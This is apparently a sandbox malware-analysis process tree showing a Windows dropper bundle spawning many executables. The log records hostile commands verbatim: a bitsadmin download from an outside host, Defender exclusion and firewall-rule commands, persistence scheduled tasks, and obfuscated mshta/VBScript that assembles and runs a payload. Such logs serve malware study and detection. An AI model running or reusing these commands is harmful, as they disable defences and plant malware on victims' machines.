C:\Users\Admin\AppData\Local\Temp\f5-eec90-99f-04490-8350f25a59c13\Wakoxodufae.exe
"C:\Users\Admin\AppData\Local\Temp\f5-eec90-99f-04490-8350f25a59c13\Wakoxodufae.exe"
7⤵
PID:4688

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nuxaoe5z.3kw\GcleanerEU.exe /eufive & exit
8⤵
PID:1876

C:\Users\Admin\AppData\Local\Temp\nuxaoe5z.3kw\GcleanerEU.exe
C:\Users\Admin\AppData\Local\Temp\nuxaoe5z.3kw\GcleanerEU.exe /eufive
9⤵
PID:2784

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\y2tvnjek.0ok\installer.exe /qn CAMPAIGN="654" & exit
8⤵
PID:5592

C:\Users\Admin\AppData\Local\Temp\y2tvnjek.0ok\installer.exe
C:\Users\Admin\AppData\Local\Temp\y2tvnjek.0ok\installer.exe /qn CAMPAIGN="654"
9⤵
PID:8548

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\y2tvnjek.0ok\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\y2tvnjek.0ok\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634055552 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
10⤵
PID:7240

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mpd1y5cj.oqt\any.exe & exit
8⤵
PID:8844

C:\Users\Admin\AppData\Local\Temp\mpd1y5cj.oqt\any.exe
C:\Users\Admin\AppData\Local\Temp\mpd1y5cj.oqt\any.exe
9⤵
PID:4144

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\btcn3nsb.juk\gcleaner.exe /mixfive & exit
8⤵
PID:4828

C:\Users\Admin\AppData\Local\Temp\btcn3nsb.juk\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\btcn3nsb.juk\gcleaner.exe /mixfive
9⤵
PID:7012

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0edxk32q.0fz\autosubplayer.exe /S & exit
8⤵
PID:2824

C:\Users\Admin\AppData\Local\Temp\0edxk32q.0fz\autosubplayer.exe
C:\Users\Admin\AppData\Local\Temp\0edxk32q.0fz\autosubplayer.exe /S
9⤵
PID:7524

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrE8F5.tmp\tempfile.ps1"
10⤵
PID:5984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrE8F5.tmp\tempfile.ps1"
10⤵
PID:4584

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrE8F5.tmp\tempfile.ps1"
10⤵
PID:9240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrE8F5.tmp\tempfile.ps1"
10⤵
PID:6348

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrE8F5.tmp\tempfile.ps1"
10⤵
PID:236

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrE8F5.tmp\tempfile.ps1"
10⤵
PID:9112

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrE8F5.tmp\tempfile.ps1"
10⤵
PID:7484

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z
10⤵
- Download via BitsAdmin
PID:4392

C:\Users\Admin\Pictures\Adobe Films\dbXDSzmZoGzrBaLHJhPMtJz_.exe
"C:\Users\Admin\Pictures\Adobe Films\dbXDSzmZoGzrBaLHJhPMtJz_.exe"
4⤵
PID:8396

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:8160

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:8152

C:\Users\Admin\Pictures\Adobe Films\K5RFEPFggx0R6jJVqx58zknj.exe
"C:\Users\Admin\Pictures\Adobe Films\K5RFEPFggx0R6jJVqx58zknj.exe"
2⤵
PID:6804

C:\Users\Admin\Pictures\Adobe Films\AQ2vTO_2KO9PfN6db2L6GGVo.exe
"C:\Users\Admin\Pictures\Adobe Films\AQ2vTO_2KO9PfN6db2L6GGVo.exe"
2⤵
PID:6960

C:\Program Files (x86)\Company\NewProduct\inst3.exe
"C:\Program Files (x86)\Company\NewProduct\inst3.exe"
3⤵
PID:6480

C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"
3⤵
PID:1784

C:\Program Files (x86)\Company\NewProduct\cutm3.exe
"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
3⤵
PID:6392

C:\Users\Admin\Pictures\Adobe Films\Fd82rLr4xqDHHPTeh1IT6C0i.exe
"C:\Users\Admin\Pictures\Adobe Films\Fd82rLr4xqDHHPTeh1IT6C0i.exe"
2⤵
PID:6704

C:\Users\Admin\Pictures\Adobe Films\uvWn7u10pW9r06nU3mEwxc8P.exe
"C:\Users\Admin\Pictures\Adobe Films\uvWn7u10pW9r06nU3mEwxc8P.exe"
2⤵
PID:7008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7008 -s 660
3⤵
- Program crash
PID:6864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7008 -s 672
3⤵
- Program crash
PID:4432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7008 -s 680
3⤵
- Program crash
PID:6856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7008 -s 684
3⤵
- Program crash
PID:4368

C:\Users\Admin\Pictures\Adobe Films\BG6c83OZmTAZ7FNd4T3SIXMD.exe
"C:\Users\Admin\Pictures\Adobe Films\BG6c83OZmTAZ7FNd4T3SIXMD.exe"
2⤵
PID:7064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
3⤵
PID:8076

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
3⤵
PID:5404

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
3⤵
PID:4004

C:\Users\Admin\Pictures\Adobe Films\ycYFx_4rfGb_84_RaNP4D8i4.exe
"C:\Users\Admin\Pictures\Adobe Films\ycYFx_4rfGb_84_RaNP4D8i4.exe"
2⤵
PID:7120

C:\Users\Admin\Pictures\Adobe Films\GE73nhcXFUVcaoOmDAtmMB2J.exe
"C:\Users\Admin\Pictures\Adobe Films\GE73nhcXFUVcaoOmDAtmMB2J.exe"
2⤵
PID:5628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5628 -s 684
3⤵
- Program crash
PID:6536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5628 -s 688
3⤵
- Program crash
PID:6856

C:\Users\Admin\Pictures\Adobe Films\gs30MJOixO05yBUXDss8H5UO.exe
"C:\Users\Admin\Pictures\Adobe Films\gs30MJOixO05yBUXDss8H5UO.exe"
2⤵
PID:4068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
3⤵
PID:5260

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
3⤵
PID:7364

C:\Windows\SYSTEM32\schtasks.exe
schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
3⤵
- Creates scheduled task(s)
PID:2256

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
3⤵
PID:7872

C:\Windows\System\svchost.exe
"C:\Windows\System\svchost.exe" formal
3⤵
PID:4140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4484

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
4⤵
PID:5068

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
4⤵
PID:8056

C:\Users\Admin\Pictures\Adobe Films\7ABEcrm_ySZszejxkq8tYCWi.exe
"C:\Users\Admin\Pictures\Adobe Films\7ABEcrm_ySZszejxkq8tYCWi.exe"
2⤵
PID:4296

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\7ABEcrm_ySZszejxkq8tYCWi.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\7ABEcrm_ySZszejxkq8tYCWi.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
3⤵
PID:3224

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\7ABEcrm_ySZszejxkq8tYCWi.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\7ABEcrm_ySZszejxkq8tYCWi.exe" ) do taskkill -im "%~NxK" -F
4⤵
PID:7748

C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
5⤵
PID:7340

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
6⤵
PID:4772

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
7⤵
PID:7876

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )
6⤵
PID:7568

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
7⤵
PID:5468

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHO "
8⤵
PID:5548

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
8⤵
PID:7532

C:\Windows\SysWOW64\msiexec.exe
msiexec.exe -y .\N3V4H8H.SXY
8⤵
PID:8712

C:\Windows\SysWOW64\taskkill.exe
taskkill -im "7ABEcrm_ySZszejxkq8tYCWi.exe" -F
5⤵
- Kills process with taskkill
PID:5004

C:\Users\Admin\Pictures\Adobe Films\gUoYXemzqN5qHK6jzm2DSS3H.exe
"C:\Users\Admin\Pictures\Adobe Films\gUoYXemzqN5qHK6jzm2DSS3H.exe"
2⤵
PID:6500

C:\Users\Admin\AppData\Roaming\2076130.scr
"C:\Users\Admin\AppData\Roaming\2076130.scr" /S
3⤵
PID:7672

C:\Users\Admin\AppData\Roaming\1283030.scr
"C:\Users\Admin\AppData\Roaming\1283030.scr" /S
3⤵
PID:7944

C:\Users\Admin\AppData\Roaming\5191827.scr
"C:\Users\Admin\AppData\Roaming\5191827.scr" /S
3⤵
PID:5208

C:\Users\Admin\AppData\Roaming\3046071.scr
"C:\Users\Admin\AppData\Roaming\3046071.scr" /S
3⤵
PID:5620

C:\Users\Admin\AppData\Roaming\8594967.scr
"C:\Users\Admin\AppData\Roaming\8594967.scr" /S
3⤵
PID:7388

C:\Users\Admin\Pictures\Adobe Films\CZ7eO2E6gZfxrOsc8l8Nh9G5.exe
"C:\Users\Admin\Pictures\Adobe Films\CZ7eO2E6gZfxrOsc8l8Nh9G5.exe"
2⤵
PID:6804

C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
3⤵
PID:9000

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--VWXGd"
4⤵
PID:4804

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0xd8,0x74,0xdc,0x1e4,0x200,0x7ff94ae3dec0,0x7ff94ae3ded0,0x7ff94ae3dee0
5⤵
PID:1020

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x140,0x144,0x148,0x11c,0x14c,0x7ff748179e70,0x7ff748179e80,0x7ff748179e90
6⤵
PID:924

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1728,6625558782639570074,4371508160765435981,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_518905009" --mojo-platform-channel-handle=1792 /prefetch:8
5⤵
PID:9244

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1728,6625558782639570074,4371508160765435981,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_518905009" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1744 /prefetch:2
5⤵
PID:9236

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1728,6625558782639570074,4371508160765435981,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_518905009" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2676 /prefetch:1
5⤵
PID:9376

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1728,6625558782639570074,4371508160765435981,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_518905009" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2668 /prefetch:1
5⤵
PID:9368

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1728,6625558782639570074,4371508160765435981,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_518905009" --mojo-platform-channel-handle=2384 /prefetch:8
5⤵
PID:9332

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1728,6625558782639570074,4371508160765435981,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_518905009" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3256 /prefetch:2
5⤵
PID:10044

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,6625558782639570074,4371508160765435981,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_518905009" --mojo-platform-channel-handle=3328 /prefetch:8
5⤵
PID:6264

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,6625558782639570074,4371508160765435981,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_518905009" --mojo-platform-channel-handle=3420 /prefetch:8
5⤵
PID:9756

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,6625558782639570074,4371508160765435981,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_518905009" --mojo-platform-channel-handle=508 /prefetch:8
5⤵
PID:9968

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,6625558782639570074,4371508160765435981,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_518905009" --mojo-platform-channel-handle=3272 /prefetch:8
5⤵
PID:9816

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1728,6625558782639570074,4371508160765435981,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_518905009" --mojo-platform-channel-handle=1108 /prefetch:8
5⤵
PID:5348

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat0292f4622e87ae.exe
Sat0292f4622e87ae.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4636

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02f9cd0f8f.exe
Sat02f9cd0f8f.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4596

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02b7c3d3dc184.exe
Sat02b7c3d3dc184.exe
1⤵
PID:4484

C:\Users\Admin\AppData\Local\Temp\7zS0F5D867B\Sat02a6e1469543.exe
Sat02a6e1469543.exe
1⤵
- Executes dropped EXE
PID:4476

C:\Users\Admin\Pictures\Adobe Films\JOcFG0bPG12eJseLIAvlklPw.exe
"C:\Users\Admin\Pictures\Adobe Films\JOcFG0bPG12eJseLIAvlklPw.exe"
2⤵
PID:5828

C:\Users\Admin\Pictures\Adobe Films\GE73nhcXFUVcaoOmDAtmMB2J.exe
"C:\Users\Admin\Pictures\Adobe Films\GE73nhcXFUVcaoOmDAtmMB2J.exe"
2⤵
PID:4260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4260 -s 660
3⤵
- Program crash
PID:4380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4260 -s 672
3⤵
- Program crash
PID:5424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4260 -s 636
3⤵
- Program crash
PID:6076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4260 -s 684
3⤵
- Program crash
PID:5552

C:\Users\Admin\Pictures\Adobe Films\Fd82rLr4xqDHHPTeh1IT6C0i.exe
"C:\Users\Admin\Pictures\Adobe Films\Fd82rLr4xqDHHPTeh1IT6C0i.exe"
2⤵
PID:4708

C:\Users\Admin\Pictures\Adobe Films\kmvSBMoE5ToWBQoeCkkrg370.exe
"C:\Users\Admin\Pictures\Adobe Films\kmvSBMoE5ToWBQoeCkkrg370.exe"
2⤵
PID:4908

C:\Users\Admin\Documents\76QxfObx1nLqiLmoQ5pnYlig.exe
"C:\Users\Admin\Documents\76QxfObx1nLqiLmoQ5pnYlig.exe"
3⤵
PID:7268

C:\Users\Admin\Pictures\Adobe Films\MlhgWV64E2vBdq4LPu1QgwcV.exe
"C:\Users\Admin\Pictures\Adobe Films\MlhgWV64E2vBdq4LPu1QgwcV.exe"
4⤵
PID:1716

C:\Users\Admin\Pictures\Adobe Films\d46cA8l8zjAphJslYX04hLts.exe
"C:\Users\Admin\Pictures\Adobe Films\d46cA8l8zjAphJslYX04hLts.exe"
4⤵
PID:6784

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
5⤵
PID:5588

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
6⤵
- Kills process with taskkill
PID:2368

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
5⤵
PID:5452

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xe8,0xec,0xf0,0xc4,0xf4,0x7ff96ec54f50,0x7ff96ec54f60,0x7ff96ec54f70
6⤵
PID:7872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1728,4290137781507861926,6125757033430813317,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1788 /prefetch:8
6⤵
PID:6396

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1728,4290137781507861926,6125757033430813317,131072 --lang=en-US --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2696 /prefetch:1
6⤵
PID:5784

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1728,4290137781507861926,6125757033430813317,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2684 /prefetch:1
6⤵
PID:7144

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1728,4290137781507861926,6125757033430813317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2420 /prefetch:8
6⤵
PID:8840

C:\Program Files\Google\Chrome\Application\chrome.exe
